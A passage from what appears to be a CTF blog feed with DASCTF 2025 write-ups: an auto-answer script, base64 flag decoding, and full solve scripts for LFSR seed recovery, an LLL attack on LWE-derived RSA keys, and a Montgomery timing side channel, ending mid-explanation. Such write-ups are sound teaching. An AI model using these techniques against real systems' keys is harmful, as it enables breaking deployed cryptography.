                current_chunk = buffer[:q_idx+1]
                
                match = re.search(r&apos;(\d+)\s*([+\-*/])\s*(\d+)\s*=\s*\?&apos;, current_chunk)
                
                if match:
                    num1, op, num2 = match.groups()
                    
                    ans = 0
                    if op == &apos;/&apos;:
                        ans = int(int(num1) // int(num2))
                    elif op == &apos;+&apos;:
                        ans = int(num1) + int(num2)
                    elif op == &apos;-&apos;:
                        ans = int(num1) - int(num2)
                    elif op == &apos;*&apos;:
                        ans = int(num1) * int(num2)
                        
                    count += 1
                    if count % 10 == 0:
                        log.info(f&quot;Answered {count} questions...&quot;)
                    
                    r.sendline(str(ans).encode())
                    
                    buffer = buffer[q_idx+1:]
                else:
                    # Discard up to &apos;?&apos; if no equation found (e.g. welcome message part)
                    buffer = buffer[q_idx+1:]
                    
        except KeyboardInterrupt:
            log.info(&quot;Interrupted&quot;)
            break
        except EOFError:
            log.info(&quot;EOF&quot;)
            break
        except Exception as e:
            log.error(f&quot;Error: {e}&quot;)
            break
    
    r.close()

if __name__ == &quot;__main__&quot;:
    solve()

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sign_in&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://c.img.dasctf.com/LightPicture/2026/04/06adc714af352391.png&quot; alt=&quot;image-20251206000844244&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Signin_WhoRwe&lt;/h2&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://c.img.dasctf.com/LightPicture/2026/04/ff0fc8f93d1a078f.png&quot; alt=&quot;image-20251206001350426&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Hidden bullet comments&lt;/h2&gt;
&lt;p&gt;翻弹幕 有点hyw&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://c.img.dasctf.com/LightPicture/2026/04/3bbe5ab37244ffb6.png&quot; alt=&quot;image-20251206004109730&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>DASCTF2025</title><link>https://sinqwq.top/posts/dasctf2025/</link><guid isPermaLink="true">https://sinqwq.top/posts/dasctf2025/</guid><description>DASCTF2025下半年</description><pubDate>Fri, 05 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;CHECKIN&lt;/h1&gt;
&lt;h2&gt;AI画师的小秘密&lt;/h2&gt;
&lt;p&gt;图片尾部 有个base64&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;REFTQ1RGe1czbGMwbWVfdDBfREFTQ1RGXzIwMjVfSDRsZl9ZMzRyIX0=  --&amp;gt; DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;CRYPTO&lt;/h1&gt;
&lt;h2&gt;lost LFSR key&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from secret import flag
from random import *

flag = flag.strip(b&quot;DASCTF{&quot;).strip(b&quot;}&quot;)
assert len(flag) == 64

class myRNG():
    def __init__(self,seed=None):
        if(seed):
            self.seed = seed
        else:
            self.seed = getrandbits(64)
        self.mask = getrandbits(64)

    def next(self):
        i = self.seed &amp;amp; self.mask
        Out = 0
        while i != 0:
            Out = Out ^ (i &amp;amp; 1)
            i = i &amp;gt;&amp;gt; 1
        self.seed = ((self.seed &amp;lt;&amp;lt; 1) | Out) &amp;amp; ((1 &amp;lt;&amp;lt; 64) - 1)
        return Out
    
    def get_myRNG_randbits(self,n):
        temp = 0
        for i in range(n):
            temp = (temp &amp;lt;&amp;lt; 1) | self.next()
        return temp

generator = myRNG()
key = generator.get_myRNG_randbits(64*8)

print(&quot;mask =&quot;, generator.mask)
print(&quot;c =&quot;, key ^ bytes_to_long(flag))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目给出了一个自定义的伪随机数生成器（类似 LFSR），其内部状态由一个 64 位的 &lt;code&gt;seed&lt;/code&gt; 和一个固定的 &lt;code&gt;mask&lt;/code&gt; 组成。&lt;/p&gt;
&lt;p&gt;生成器的核心逻辑如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Next Bit Calculation&lt;/strong&gt;: 下一个输出位 &lt;code&gt;Out&lt;/code&gt; 是 &lt;code&gt;seed &amp;amp; mask&lt;/code&gt; 的奇偶校验位（parity）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State Update&lt;/strong&gt;: &lt;code&gt;seed&lt;/code&gt; 更新为 &lt;code&gt;((seed &amp;lt;&amp;lt; 1) | Out)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;加密过程生成了 512 位（64 字节）的密钥流 &lt;code&gt;key&lt;/code&gt;，然后与 &lt;code&gt;flag&lt;/code&gt; 进行异或得到密文 &lt;code&gt;c&lt;/code&gt;。题目提供了 &lt;code&gt;mask&lt;/code&gt; 和密文 &lt;code&gt;c&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这是一个典型的&lt;strong&gt;GF(2) 上的线性系统&lt;/strong&gt;问题。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;线性性&lt;/strong&gt;: 生成器的每一次状态更新和输出计算都是线性的（XOR 和移位操作）。这意味着生成的每一位密钥流都是初始 &lt;code&gt;seed&lt;/code&gt; 的每一位的线性组合。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;已知明文攻击&lt;/strong&gt;: Flag 的格式通常是 ASCII 字符串。ASCII 字符的最高位（MSB）通常是 0。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;题目中 Flag 长度为 64 字节。&lt;/li&gt;
&lt;li&gt;这意味着我们可以确定明文的第 7, 15, 23, ..., 511 位都是 0。&lt;/li&gt;
&lt;li&gt;利用 $c = k \oplus m$，当 $m=0$ 时，$k=c$。&lt;/li&gt;
&lt;li&gt;因此，我们知道了密钥流在这些位置的具体数值。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;符号执行&lt;/strong&gt;:
我们不需要暴力破解 64 位的种子。我们可以将初始种子的 64 位看作 64 个变量 $x_0, x_1, ..., x_{63}$。
我们可以模拟生成器的运行，跟踪每一位状态是如何由初始变量线性组合而成的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;构建方程组&lt;/strong&gt;:
生成 512 位密钥流的过程中，对于每一个索引 $i$（$0 \le i &amp;lt; 512$），如果 $i \equiv 7 \pmod 8$，我们知道该位的密钥流值等于密文对应位的值。
这样我们可以得到 $512 / 8 = 64$ 个线性方程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;求解方程组&lt;/strong&gt;:
我们有 64 个变量和 64 个方程。构建矩阵并使用高斯消元法求解。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;注意&lt;/em&gt;: 在实际求解中，矩阵的秩可能是 63（亏秩），这意味着存在自由变量，会有多组解。我们需要遍历所有可能的解（在这个例子中只有 2 个），并检查解密出的 Flag 是否有意义。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from functools import reduce
from Crypto.Util.number import long_to_bytes

mask = 9319439021858903464
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506

class myRNG():
    def __init__(self, seed, mask):
        self.seed = seed
        self.mask = mask

    def next(self):
        i = self.seed &amp;amp; self.mask
        Out = 0
        while i != 0:
            Out = Out ^ (i &amp;amp; 1)
            i = i &amp;gt;&amp;gt; 1
        self.seed = ((self.seed &amp;lt;&amp;lt; 1) | Out) &amp;amp; ((1 &amp;lt;&amp;lt; 64) - 1)
        return Out

    def get_myRNG_randbits(self,n):
        temp = 0
        for i in range(n):
            temp = (temp &amp;lt;&amp;lt; 1) | self.next()
        return temp

# 1. 符号执行构建线性方程组
# state[i] 是一个 64 位的掩码，表示当前状态的第 i 位是由初始种子的哪些位 XOR 得到的
state = [(1 &amp;lt;&amp;lt; i) for i in range(64)]
equations = []

known_indices = set(range(0, 512, 8))

for i in range(512):
    # 模拟 next() 函数的线性变换
    selected_bits = []
    for bit_idx in range(64):
        if (mask &amp;gt;&amp;gt; bit_idx) &amp;amp; 1:
            selected_bits.append(state[bit_idx])

    # Out 是 selected_bits 的 XOR 和
    if not selected_bits:
        out_symbolic = 0
    else:
        out_symbolic = reduce(lambda x, y: x ^ y, selected_bits)

    # 如果是已知位，添加方程
    if i in known_indices:
        bit_pos = 511 - i
        val = (c &amp;gt;&amp;gt; bit_pos) &amp;amp; 1
        equations.append((out_symbolic, val))

    # 更新状态
    # self.seed = ((self.seed &amp;lt;&amp;lt; 1) | Out)
    new_state = [0] * 64
    new_state[0] = out_symbolic
    for k in range(1, 64):
        new_state[k] = state[k-1]
    state = new_state

# 2. 高斯消元求解
M = []
for eq_mask, eq_val in equations:
    row = []
    for k in range(64):
        row.append((eq_mask &amp;gt;&amp;gt; k) &amp;amp; 1)
    row.append(eq_val)
    M.append(row)

rows = len(M)
cols = len(M[0])
pivot_row = 0

# 消元为上三角（行阶梯）
for col in range(cols - 1):
    if pivot_row &amp;gt;= rows: break

    curr = pivot_row
    while curr &amp;lt; rows and M[curr][col] == 0:
        curr += 1
    if curr == rows: continue

    M[pivot_row], M[curr] = M[curr], M[pivot_row]

    for i in range(rows):
        if i != pivot_row and M[i][col] == 1:
            for j in range(col, cols):
                M[i][j] ^= M[pivot_row][j]
    pivot_row += 1

# 3. 提取解（处理多解情况）
pivot_columns = {}
pivot_cols_set = set()
for i in range(rows):
    for j in range(cols - 1):
        if M[i][j] == 1:
            pivot_columns[i] = j
            pivot_cols_set.add(j)
            break

free_columns = [j for j in range(64) if j not in pivot_cols_set]

# 特解 (自由变量设为 0)
seed_p = 0
for i in range(rows):
    if i in pivot_columns:
        col = pivot_columns[i]
        if M[i][-1]:
            seed_p |= (1 &amp;lt;&amp;lt; col)

# 齐次解 (自由变量设为 1)
seed_h = 0
if free_columns:
    free_col = free_columns[0]
    seed_h |= (1 &amp;lt;&amp;lt; free_col)
    for i in range(rows):
        if i in pivot_columns and M[i][free_col]:
            seed_h |= (1 &amp;lt;&amp;lt; pivot_columns[i])

seeds = [seed_p, seed_p ^ seed_h]

# 4. 验证并输出 Flag
for s in seeds:
    try:
        gen = myRNG(s, mask)
        key = gen.get_myRNG_randbits(512)
        flag_int = c ^ key
        flag = long_to_bytes(flag_int)
        if b&apos;DASCTF&apos; in flag or b&apos;flag&apos; in flag.lower() or b&apos;key&apos; in flag.lower():
            print(f&quot;Found Flag: DASCTF{{{flag.decode()}}}&quot;)
    except:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;two_examples&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#task.sage
from Crypto.Util.number import *
import json
from hashlib import *
from gmpy2 import *
from flag import flag
n= 20
m = 30
p = getPrime(160)

A = [random_vector(GF(p),m) for _ in range(n)]
B = [random_vector(GF(p),m) for _ in range(n)]
A = matrix(GF(p),A)
B = matrix(GF(p),B)

s1 = random_vector(GF(p),n)
s2 = random_vector(GF(p),n)

e1 = vector(GF(p),[choice([-1,0,1]) for _ in range(m)])
e2 = vector(GF(p),[choice([-1,0,1]) for _ in range(m)])

b1 = s1*A + s2*B + e1
b2 = s2*A + s1*B + e2

with open(&apos;M.matrix&apos;,&apos;w&apos;) as f:
    json.dump({&quot;A&quot;: str(list(A)),&quot;B&quot;: str(list(B)),&quot;p&quot;:str(p)}, f)

with open(&apos;v.vector&apos;,&apos;w&apos;) as f:
    json.dump({&quot;b1&quot;: str(list(b1)),&quot;b2&quot;: str(list(b2))}, f)

def vector_to_sha512_hex(vector):
    
    vector_str = &apos;&apos;.join(str(i) for i in vector)
    res = sha512(vector_str.encode()).hexdigest()
    res = int(res,16)
    return res
    
d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
P = getPrime(512)
Q = getPrime(512)
N = P*Q
phi = (P-1)*(Q-1)
while gcd(d,phi) != 1:
    d += 1
    
e = inverse(d,phi)
flag = bytes_to_long(flag)
c = power_mod(flag,e,N)

with open(&apos;RSA.enc&apos;,&apos;w&apos;) as f:
    json.dump({&quot;N&quot;: str(N),&quot;c&quot;: str(c)}, f)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本题结合了基于格密码的 LWE (Learning With Errors) 问题和 RSA 加密。
我们需要先解开 LWE 问题恢复出私钥向量 $s_1$ 和 $s_2$，然后利用它们计算出 RSA 的解密指数 $d$，最终解密得到 Flag。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. LWE 方程&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出了如下生成过程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b1 = s1*A + s2*B + e1
b2 = s2*A + s1*B + e2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$s_1, s_2$ 是维度为 $n=20$ 的私钥向量。&lt;/li&gt;
&lt;li&gt;$A, B$ 是 $n \times m$ ($20 \times 30$) 的公钥矩阵。&lt;/li&gt;
&lt;li&gt;$e_1, e_2$ 是维度为 $m=30$ 的误差向量，元素取值 ${-1, 0, 1}$。&lt;/li&gt;
&lt;li&gt;运算在 $GF(p)$ 上进行，$p$ 是一个 160 位的素数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. 方程转化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接求解这两个耦合的方程比较复杂。通过观察，我们可以通过加减消元将其转化为两个独立的标准 LWE 问题：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两式相加：&lt;/strong&gt;
$$ b_1 + b_2 = (s_1 + s_2)(A + B) + (e_1 + e_2) $$
令 $S_+ = s_1 + s_2$, $M_+ = A + B$, $E_+ = e_1 + e_2$, $V_+ = b_1 + b_2$，则：
$$ V_+ = S_+ \cdot M_+ + E_+ $$
其中误差 $E_+$ 的元素取值范围为 $[-2, 2]$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两式相减：&lt;/strong&gt;
$$ b_1 - b_2 = (s_1 - s_2)(A - B) + (e_1 - e_2) $$
令 $S_- = s_1 - s_2$, $M_- = A - B$, $E_- = e_1 - e_2$, $V_- = b_1 - b_2$，则：
$$ V_- = S_- \cdot M_- + E_- $$
其中误差 $E_-$ 的元素取值范围为 $[-2, 2]$。&lt;/p&gt;
&lt;p&gt;由于 $n=20, m=30$ 且误差非常小，我们可以利用格规约算法（LLL）来求解这两个 LWE 实例。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. RSA 部分&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目中 RSA 的解密指数 $d$ 生成方式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
while gcd(d,phi) != 1:
    d += 1
e = inverse(d,phi)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加密使用的是 $e$，因此解密直接使用 $d$ 即可。需要注意的是，真实的 $d$ 可能是初始计算出的 $d$ 加上一个小的偏移量。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;求解&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;构造格 (Lattice Construction)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对于方程 $v = s \cdot M + e \pmod p$，我们希望找到短向量 $e$。
我们可以构造如下的格基矩阵（Embedding Technique）：
$$
L = \begin{pmatrix}
p I_m &amp;amp; 0 \
M &amp;amp; 0 \
-v &amp;amp; K
\end{pmatrix}
$$
其中 $K=1$。该格中包含向量：
$$ \sum s_i \cdot \text{row}_i(M) + 1 \cdot (-v, 1) + \text{modulus_reduction} $$
$$ = (sM - v \pmod p, 1) = (-e, 1) $$
由于 $e$ 的分量很小，向量 $(-e, 1)$ 是格中的一个短向量。&lt;/p&gt;
&lt;p&gt;使用 LLL 算法对上述矩阵进行规约，即可在短基向量中找到 $(-e, 1)$，从而恢复出 $e$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 恢复私钥&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;求出 $E_+$ 和 $E_-$ 后，我们有：
$$ S_+ \cdot M_+ = V_+ - E_+ \pmod p $$
$$ S_- \cdot M_- = V_- - E_- \pmod p $$
这是一个超定线性方程组（$m &amp;gt; n$），选取前 $n$ 个线性无关的列即可通过高斯消元求解出 $S_+$ 和 $S_-$。&lt;/p&gt;
&lt;p&gt;进而求出 $s_1, s_2$：
$$ s_1 = (S_+ + S_-) \cdot 2^{-1} \pmod p $$
$$ s_2 = (S_+ - S_-) \cdot 2^{-1} \pmod p $$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 解密 Flag&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;计算初始 $d_{base} = \text{SHA512}(s_1) + \text{SHA512}(s_2)$。&lt;/li&gt;
&lt;li&gt;由于不知道 $\phi$，无法判断 $\gcd(d, \phi)$。但通常 $d$ 的增量非常小。&lt;/li&gt;
&lt;li&gt;爆破偏移量 $\delta = 0, 1, 2, \dots$，计算 $d = d_{base} + \delta$。&lt;/li&gt;
&lt;li&gt;尝试解密 $m = c^d \pmod N$，若结果包含 &quot;DASCTF&quot; 或 &quot;flag&quot; 等特征字符，则为正确 Flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import sys
from hashlib import sha512
from fpylll import IntegerMatrix, LLL, BKZ

# Helper functions
def gcd(a, b):
    while b:
        a, b = b, a % b
    return a

def extended_gcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        g, y, x = extended_gcd(b % a, a)
        return g, x - (b // a) * y, y

def inverse(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise Exception(&apos;modular inverse does not exist&apos;)
    else:
        return x % m

def solve_linear_system(M, target, p):
    n = len(M)
    m = len(M[0])
    
    
    A_aug = []
    for i in range(m):
        row = [M[j][i] for j in range(n)]
        row.append(target[i])
        A_aug.append(row)

    pivot_row = 0
    col = 0
    pivot_indices = []
    
    rows = len(A_aug)
    cols = len(A_aug[0]) - 1 # Last col is target
    
    for j in range(cols):
        if pivot_row &amp;gt;= rows:
            break
            
        # Find pivot
        pivot = -1
        for i in range(pivot_row, rows):
            if A_aug[i][j] % p != 0:
                pivot = i
                break
        
        if pivot == -1:
            continue
            
        # Swap rows
        A_aug[pivot_row], A_aug[pivot] = A_aug[pivot], A_aug[pivot_row]
        pivot_indices.append((pivot_row, j))
        
        # Normalize pivot row
        inv = inverse(A_aug[pivot_row][j], p)
        for k in range(j, cols + 1):
            A_aug[pivot_row][k] = (A_aug[pivot_row][k] * inv) % p
            
        # Eliminate other rows
        for i in range(rows):
            if i != pivot_row:
                factor = A_aug[i][j]
                for k in range(j, cols + 1):
                    A_aug[i][k] = (A_aug[i][k] - factor * A_aug[pivot_row][k]) % p
        
        pivot_row += 1
    x = [0] * n
    for r, c in pivot_indices:
        x[c] = A_aug[r][-1]
        
    return x

def solve_lwe(M, b_vec, p):
    n = len(M)
    m = len(M[0])
    dim = m + 1
    num_vecs = m + n + 1
    
    mat = IntegerMatrix(num_vecs, dim)
    
    # Fill p * I_m
    for i in range(m):
        mat[i, i] = int(p)
        
    # Fill M
    for i in range(n):
        for j in range(m):
            mat[m + i, j] = int(M[i][j])
            
    K = 1 
    for j in range(m):
        mat[m + n, j] = int(-b_vec[j]) % int(p) 
        mat[m + n, j] = -int(b_vec[j])
    mat[m + n, m] = K
    
    # Run LLL
    LLL.reduction(mat)
    
    e_found = None
    
    for i in range(mat.nrows):
        row = [mat[i, j] for j in range(dim)]
        if row[m] == K:
            e_candidate = [-x for x in row[:m]]
            if all(abs(x) &amp;lt;= 2 for x in e_candidate):
                e_found = e_candidate
                break
        elif row[m] == -K:

            e_candidate = row[:m]
            if all(abs(x) &amp;lt;= 2 for x in e_candidate):
                e_found = e_candidate
                break
                
    if e_found is None:
        print(&quot;Failed to find error vector&quot;)
        return None
        
    print(f&quot;Found error vector: {e_found}&quot;)
    
    target = [(b_vec[i] - e_found[i]) % p for i in range(m)]
    s = solve_linear_system(M, target, p)
    return s

def vector_to_sha512_hex(vector):
    vector_str = &apos;&apos;.join(str(i) for i in vector)
    res = sha512(vector_str.encode()).hexdigest()
    res = int(res, 16)
    return res

def main():
    print(&quot;Loading data...&quot;)
    with open(&apos;M.matrix&apos;, &apos;r&apos;) as f:
        data_m = json.load(f)
        A = eval(data_m[&apos;A&apos;])
        B = eval(data_m[&apos;B&apos;])
        p = int(data_m[&apos;p&apos;])
        
    with open(&apos;v.vector&apos;, &apos;r&apos;) as f:
        data_v = json.load(f)
        b1 = eval(data_v[&apos;b1&apos;]) 
        b2 = eval(data_v[&apos;b2&apos;])
        
    n = len(A)
    m = len(A[0])
    print(f&quot;n={n}, m={m}, p={p}&quot;)
    
    
    M_plus = [[(A[i][j] + B[i][j]) % p for j in range(m)] for i in range(n)]
    b_plus = [(b1[j] + b2[j]) % p for j in range(m)]
    
    print(&quot;Solving for s_plus...&quot;)
    s_plus = solve_lwe(M_plus, b_plus, p)
    
    M_minus = [[(A[i][j] - B[i][j]) % p for j in range(m)] for i in range(n)]
    b_minus = [(b1[j] - b2[j]) % p for j in range(m)]
    
    print(&quot;Solving for s_minus...&quot;)
    s_minus = solve_lwe(M_minus, b_minus, p)
    
    if s_plus is None or s_minus is None:
        print(&quot;Could not solve lattice problems.&quot;)
        return

    inv2 = inverse(2, p)
    s1 = [(s_plus[i] + s_minus[i]) * inv2 % p for i in range(n)]
    s2 = [(s_plus[i] - s_minus[i]) * inv2 % p for i in range(n)]
    
    print(&quot;Recovered s1 and s2.&quot;)
    
    d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
    
    with open(&apos;RSA.enc&apos;, &apos;r&apos;) as f:
        data_rsa = json.load(f)
        N = int(data_rsa[&apos;N&apos;])
        c = int(data_rsa[&apos;c&apos;])
        

    for offset in range(100):
        d_candidate = d + offset

        try:
            m = pow(c, d_candidate, N)
            hex_m = hex(m)[2:]
            if len(hex_m) % 2 != 0:
                hex_m = &apos;0&apos; + hex_m
            try:
                flag_bytes = bytes.fromhex(hex_m)
                if b&apos;flag{&apos; in flag_bytes or b&apos;CTF{&apos; in flag_bytes or b&apos;actf{&apos; in flag_bytes:
                    print(f&quot;Found flag with offset {offset}: {flag_bytes}&quot;)
                    break
            except:
                pass
        except Exception as e:
            pass
            
if __name__ == &apos;__main__&apos;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Serration&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from hashlib import sha256
import socketserver
import signal
import os
import string
import random
from sympy.ntheory.modular import crt 
from line_profiler import LineProfiler


flag = os.getenv(&apos;DASFLAG&apos;)

def euclide_ext(a, b):  
    x, xx, y, yy = 1, 0, 0, 1
    while b:
        q = a // b
        a, b = b, a % b
        x, xx = xx, x - xx * q
        y, yy = yy, y - yy * q
    return x, y, a

class Montgomery:
    n: int
    k: int
    r: int
    r_inv: int
    n_inv: int
    
    def __init__(self, n, k):
        self.n = n
        self.k = k
        self.r = 2 ** k
        self.r_inv, self.n_inv, gcd = euclide_ext(self.r, self.n)
        self.n_inv = -self.n_inv  
        if gcd != 1:
            raise ValueError(&quot;gcd(r,n) must be 1&quot;)
        if self.r * self.r_inv - self.n * self.n_inv != 1:
            raise ValueError(
                f&quot;For ({self.r} that created from {2} ** {k},{n}) doesn&apos;t exists diophantine equation decision&quot;
            )
        self.r_inv = self.r_inv % self.n

    def mon_pro(self, a_n, b_n):
        t = a_n * b_n
        u = (t + (t * self.n_inv % self.r) * self.n) &amp;gt;&amp;gt; self.k
        if u &amp;gt; self.n:
            u -= self.n
        return u

    def mon_exp(self, a: int, e: int):
        a = a * self.r % self.n
        x = self.r % self.n
        for i in reversed(range(0, e.bit_length())):
            x= self.mon_pro(x, x)
            if (e &amp;amp; (1 &amp;lt;&amp;lt; i))  :
                x= self.mon_pro(x, a)
        return self.mon_pro(x, 1)






class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b&apos;&apos;
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) &amp;lt; BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b&apos;\n&apos;
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b&apos;&amp;gt; &apos;):
        self.send(prompt, newline=False)
        return self._recvall()

    def handle(self):
        bits=1024
        p=getPrime(bits)
        q=getPrime(bits)
        e=getPrime(bits-10)
        n=p*q
        print(p,&quot;,&quot;,q)
        print(flag)
        P=Montgomery(p,bits)
        Q=Montgomery(q,bits)
        self.send(str((n,e)).encode())
        signal.alarm(300)
        for i in range(600):
            lp = LineProfiler()
            lp.add_function(Q.mon_pro)
            lp_exp = lp(P.mon_exp)
            lq_exp = lp(Q.mon_exp)
            self.send(b&quot;leave message 4 me&quot;,newline=False)
            m=int(self.recv())
            cp=lp_exp(m,e)
            cq=lq_exp(m,e)
            c=crt([p,q],[cp,cq])
            d={}
            for i in lp.code_map:
                for j in lp.code_map[i]:
                    d[j]=(lp.code_map[i][j][&apos;total_time&apos;],lp.code_map[i][j][&apos;nhits&apos;])
            self.send(str(d).encode())
        self.send(b&quot;can you break me?&quot;,newline=False)    
        guess=int(self.recv())
        if guess in {p,q}:
            self.send(flag.encode())
        else:
            self.send(b&quot;sorry~&quot;)
        exit            

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


if __name__ == &quot;__main__&quot;:
    HOST, PORT = &apos;0.0.0.0&apos;, 9999
    print(&quot;HOST:POST &quot; + HOST+&quot;:&quot; + str(PORT))
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    server.serve_forever()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目提供了一个 RSA 签名的场景，使用 Montgomery 模乘算法进行运算。服务器会接收我们发送的消息 $m$，计算 $m^e \pmod n$，并使用 &lt;code&gt;line_profiler&lt;/code&gt; 库对 Montgomery 乘法函数 &lt;code&gt;Q.mon_pro&lt;/code&gt; 进行性能分析，返回执行时间 (&lt;code&gt;total_time&lt;/code&gt;) 和命中次数 (&lt;code&gt;nhits&lt;/code&gt;)。&lt;/p&gt;
&lt;p&gt;关键代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Montgomery:
    # ...
    def mon_pro(self, a_n, b_n):
        t = a_n * b_n
        u = (t + (t * self.n_inv % self.r) * self.n) &amp;gt;&amp;gt; self.k
        if u &amp;gt; self.n:
            u -= self.n  # 关键点：这里发生了额外的减法
        return u
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器返回的 &lt;code&gt;nhits&lt;/code&gt; 实际上就是 &lt;code&gt;mon_pro&lt;/code&gt; 函数中每一行代码的执行次数。如果 &lt;code&gt;u &amp;gt; self.n&lt;/code&gt; 成立，&lt;code&gt;u -= self.n&lt;/code&gt; 这一行就会被执行，&lt;code&gt;nhits&lt;/code&gt; 就会增加。&lt;/p&gt;
&lt;p&gt;Montgomery 乘法 &lt;code&gt;mon_pro(a_n, b_n)&lt;/code&gt; 计算的是 $a_n \cdot b_n \cdot r^{-1} \pmod n$。
在 RSA CRT 解密（或签名）过程中，会分别在模 $p$ 和模 $q$ 下进行计算。题目中只对 &lt;code&gt;Q&lt;/code&gt; (模 $q$) 的 &lt;code&gt;mon_exp&lt;/code&gt; 进行了性能分析。&lt;/p&gt;
&lt;p&gt;当我们发送消息 $m$ 时，服务器会先将其转换为 Montgomery 域的形式（虽然题目代码逻辑有点奇怪，但实际上我们控制的是底数）。
在 &lt;code&gt;mon_exp&lt;/code&gt; 的第一步，会有 &lt;code&gt;a = a * self.r % self.n&lt;/code&gt; 的预处理。
如果我们构造特殊的输入 $m$，使得进入 &lt;code&gt;mon_exp&lt;/code&gt; 的底数 $X$ 在模 $q$ 下具有特定性质，就可以利用侧信道泄露。&lt;/p&gt;
&lt;p&gt;具体来说，我们发送 $m = X \cdot r^{-1} \pmod n$。
服务器接收后，在 &lt;code&gt;mon_exp&lt;/code&gt; 中计算 $m \cdot r \pmod n = X \pmod n$。
由于 $n = p \cdot q$，在模 $q$ 的运算中，这个值就是 $X \pmod q$。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mon_pro&lt;/code&gt; 中的 &lt;code&gt;u -= self.n&lt;/code&gt; (这里应该是 &lt;code&gt;self.q&lt;/code&gt;) 发生的概率与输入的大小有关。
当输入值 $X &amp;lt; q$ 时，中间结果更有可能需要进行减法归约（Reduction），导致 &lt;code&gt;nhits&lt;/code&gt; 较高。
当输入值 $X$ 刚刚超过 $q$ (即 $X \ge q$) 时，$X \pmod q$ 会变得很小，从而导致中间结果不需要减法归约的概率变大，&lt;code&gt;nhits&lt;/code&gt; 会显著下降。&lt;/p&gt;
&lt;p&gt;这种现象形成了一个“悬崖”：在 $X = q$ 附近，&lt;code&gt;nhits&lt;/code&gt; 会发生突变。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;确定 $q$ 的大致范围&lt;/strong&gt;：
